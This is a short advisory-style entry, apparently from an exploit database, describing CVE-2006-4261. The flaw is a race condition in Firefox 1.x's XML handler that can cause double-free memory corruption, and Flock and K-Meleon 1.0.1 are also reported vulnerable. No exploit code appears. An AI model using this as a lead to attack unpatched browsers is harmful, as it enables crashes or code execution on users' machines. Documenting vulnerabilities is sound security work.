Mozilla Firefox 1.x XML Handler Race Condition Memory Corruption Vulnerability. CVE-2006-4261. Dos exploit for linux platform


Mozilla Firefox is prone to a remote memory-corruption vulnerability because of a race condition that may result in double-free or other memory-corruption issues.

Attackers may likely exploit this issue to execute arbitrary machine code in the context of the vulnerable application, but this has not been confirmed. Failed exploit attempts will likely crash the application.

Mozilla Firefox is vulnerable to this issue. Due to code-reuse, other Mozilla products are also likely affected.

The Flock browser version and the K-Meleon browser version 1.0.1 are also reported vulnerable.
